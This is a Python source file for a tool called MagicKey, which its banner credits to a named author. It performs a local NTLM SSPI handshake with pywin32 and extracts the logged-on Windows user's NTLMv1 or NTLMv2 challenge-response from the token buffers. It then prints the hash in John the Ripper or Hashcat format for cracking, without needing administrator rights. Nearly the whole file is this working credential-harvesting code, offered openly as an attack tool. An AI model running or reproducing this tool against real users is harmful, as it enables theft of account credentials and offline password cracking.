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magickey.py
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magickey.py
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import argparse
import win32security, sspicon
import hexdump
import win32api
import binascii
import re
error = win32security.error
MAX_BUFFER = 1024 ** 2 * 4
class _BaseAuth(object):
def __init__(self):
self.reset()
def reset(self):
"""Reset everything to an unauthorized state"""
self.ctxt = None
self.authenticated = False
# The next seq_num for an encrypt/sign operation
self.next_seq_num = 0
class ClientAuth(_BaseAuth):
"""Manages the client side of an SSPI authentication handshake
"""
def __init__(self,
pkg_name, # Name of the package to used.
client_name=None, # User for whom credentials are used.
auth_info=None, # or a tuple of (username, domain, password)
targetspn=None, # Target security context provider name.
scflags=None, # security context flags
datarep=sspicon.SECURITY_NETWORK_DREP):
if scflags is None:
scflags = sspicon.ISC_REQ_INTEGRITY | sspicon.ISC_REQ_SEQUENCE_DETECT | sspicon.ISC_REQ_REPLAY_DETECT | sspicon.ISC_REQ_CONFIDENTIALITY #|sspicon.SEC_WINNT_AUTH_IDENTITY_ANSI
self.scflags = scflags
self.datarep = datarep
self.targetspn = targetspn
username = win32api.GetUserName()
domain = win32api.GetDomainName()
password = None
auth_info = username, domain, password
self.pkg_info = win32security.QuerySecurityPackageInfo(pkg_name)
self.credentials, \
self.credentials_expiry = win32security.AcquireCredentialsHandle(
client_name, self.pkg_info['Name'],
sspicon.SECPKG_CRED_OUTBOUND,
None, auth_info)
_BaseAuth.__init__(self)
# Perform *one* step of the client authentication process.
def authorize(self, sec_buffer_in):
if sec_buffer_in is not None and type(sec_buffer_in) != win32security.PySecBufferDescType:
# User passed us the raw data - wrap it into a SecBufferDesc
sec_buffer_new = win32security.PySecBufferDescType()
tokenbuf = win32security.PySecBufferType(self.pkg_info['MaxToken'],
sspicon.SECBUFFER_TOKEN)
tokenbuf.Buffer = sec_buffer_in
sec_buffer_new.append(tokenbuf)
sec_buffer_in = sec_buffer_new
sec_buffer_out = win32security.PySecBufferDescType()
tokenbuf = win32security.PySecBufferType(self.pkg_info['MaxToken'], sspicon.SECBUFFER_TOKEN)
sec_buffer_out.append(tokenbuf)
## input context handle should be NULL on first call
ctxtin = self.ctxt
if self.ctxt is None:
self.ctxt = win32security.PyCtxtHandleType()
err, attr, exp = win32security.InitializeSecurityContext(
self.credentials,
ctxtin,
self.targetspn,
self.scflags,
self.datarep,
sec_buffer_in,
self.ctxt,
sec_buffer_out)
# Stash these away incase someone needs to know the state from the
# final call.
self.ctxt_attr = attr
self.ctxt_expiry = exp
if err in (sspicon.SEC_I_COMPLETE_NEEDED, sspicon.SEC_I_COMPLETE_AND_CONTINUE):
self.ctxt.CompleteAuthToken(sec_buffer_out)
self.authenticated = err == 0
return err, sec_buffer_out
class ServerAuth(_BaseAuth):
"""Manages the server side of an SSPI authentication handshake
"""
def __init__(self,
pkg_name,
spn=None,
scflags=None,
datarep=sspicon.SECURITY_NETWORK_DREP):
self.spn = spn
self.datarep = datarep
if scflags is None:
scflags = sspicon.ASC_REQ_INTEGRITY | sspicon.ASC_REQ_SEQUENCE_DETECT | \
sspicon.ASC_REQ_REPLAY_DETECT | sspicon.ASC_REQ_CONFIDENTIALITY
# Should we default to sspicon.KerbAddExtraCredentialsMessage
# if pkg_name=='Kerberos'?
self.scflags = scflags
self.pkg_info = win32security.QuerySecurityPackageInfo(pkg_name)
self.credentials, \
self.credentials_expiry = win32security.AcquireCredentialsHandle(spn,
self.pkg_info['Name'],
sspicon.SECPKG_CRED_INBOUND, None, None)
_BaseAuth.__init__(self)
# Perform *one* step of the server authentication process.
def authorize(self, sec_buffer_in):
if sec_buffer_in is not None and type(sec_buffer_in) != win32security.PySecBufferDescType:
# User passed us the raw data - wrap it into a SecBufferDesc
sec_buffer_new = win32security.PySecBufferDescType()
tokenbuf = win32security.PySecBufferType(self.pkg_info['MaxToken'],
sspicon.SECBUFFER_TOKEN)
tokenbuf.Buffer = sec_buffer_in
sec_buffer_new.append(tokenbuf)
sec_buffer_in = sec_buffer_new
sec_buffer_out = win32security.PySecBufferDescType()
tokenbuf = win32security.PySecBufferType(self.pkg_info['MaxToken'], sspicon.SECBUFFER_TOKEN)
sec_buffer_out.append(tokenbuf)
## input context handle is None initially, then handle returned from last call thereafter
ctxtin = self.ctxt
if self.ctxt is None:
self.ctxt = win32security.PyCtxtHandleType()
err, attr, exp = win32security.AcceptSecurityContext(self.credentials, ctxtin,
sec_buffer_in, self.scflags,
self.datarep, self.ctxt, sec_buffer_out)
# Stash these away incase someone needs to know the state from the
# final call.
self.ctxt_attr = attr
self.ctxt_expiry = exp
if err in (sspicon.SEC_I_COMPLETE_NEEDED, sspicon.SEC_I_COMPLETE_AND_CONTINUE):
self.ctxt.CompleteAuthToken(sec_buffer_out)
self.authenticated = err == 0
return err, sec_buffer_out
if __name__ == '__main__':
banner='''
__ __ _ _ __
| \/ | __ _ __ _(_) ___| |/ /___ _ _
| |\/| |/ _` |/ _` | |/ __| ' // _ \ | | |
| | | | (_| | (_| | | (__| . \ __/ |_| |
|_| |_|\__,_|\__, |_|\___|_|\_\___|\__, |
|___/ |___/
George Fekkas
<g [dot] fekkas [at] encodegroup [dot] com>
'''
print banner
parser = argparse.ArgumentParser(description='The MagicKey is an application for harvesting NTLMv1/NTLMv2 hash (currently Logged On User) without having administrator privileges. Then you can crack the hash. Magic, huh!!!')
parser.add_argument('-v','--verbose',action='store_true', help='show loop dance authentication (Type1/Type2/Type3)')
args=parser.parse_args()
# Setup the 2 contexts.
sspiclient = ClientAuth("NTLM")
sspiserver = ServerAuth("NTLM")
sec_buffer = None
LmHashBuffer = None
Hash = []
Nonce = []
NTLMv2ClentChallenge = []
flag=False
start=0
end=0
nthash=0
ntlm2hash=[]
ClientChallenge=[]
while 1:
# Perform the authentication dance, each loop exchanging more information
# on the way to completing authentication.
err, sec_buffer = sspiclient.authorize(sec_buffer)
if args.verbose:
print hexdump.hexdump(sec_buffer[0].Buffer)
LmHashBuffer = sec_buffer[0].Buffer
clean1 = binascii.hexlify(LmHashBuffer)[:-32]
for a in list(re.finditer('0101000000000000', clean1)):
start=a.start()
nthash=start-32
end=a.end()
for i in range(nthash,start):
ntlm2hash.append(clean1[i])
ClientChallenge.append(clean1.split('0101000000000000'))
if bool(re.search("0101000000000000",clean1)):
flag=True
else:
clean1=clean1[-96:]
splits=map(''.join, zip(*[iter(clean1)] * 48))
Hash.append(splits)
err, sec_buffer = sspiserver.authorize(sec_buffer)
if args.verbose:
print hexdump.hexdump(sec_buffer[0].Buffer)
a = buffer(sec_buffer[0].Buffer, 24, 8)
dataNonce = binascii.hexlify(a)
Nonce.append(dataNonce)
if err == 0:
break
if flag==True:
print "\n[*]-Magic string 0101000000000000 found. SSPI-->NTLMv2 detected."
print "[*]-User:", win32api.GetUserName()
print "[*]-Domain:", win32api.GetDomainName()
print "[*]-Server Challenge:", Nonce[0]
print "[*]-NTHash:", ''.join(ntlm2hash)
print "[*]-Client Challenge:", ":0101000000000000" + ClientChallenge[1][1]
print "\n[*]-NTLMv2 Hash Format--><UserName::DomainName:ServerChallenge(8-byte):NThash(16-byte):ClientChallenge>"
print "[*]-John The Ripper||Hashcat Format:"
print "\n", win32api.GetUserName() + "::" + win32api.GetDomainName() + ":" + Nonce[0] + ":"+''.join(ntlm2hash)+":0101000000000000" + ClientChallenge[1][1]
else:
print "\n[*]-SSPI-->NTLMv1 detected."
print "[*]-User:", win32api.GetUserName()
print "[*]-Domain:", win32api.GetDomainName()
print "[*]-NTLMv1 Hash:", ':'.join(Hash[1])
print "[*]-Server Challenge:", Nonce[0]
print "\n[*]-NTLMv1 Hash Format--><UserName::DomainName:LMhash(24-byte):NThash(24-byte):ServerChallenge(8-byte)>"
print "[*]-John The Ripper||Hashcat Format:"
print "\n", win32api.GetUserName() + "::" + win32api.GetDomainName() + ":" + ':'.join(Hash[1]) + ":" + Nonce[0]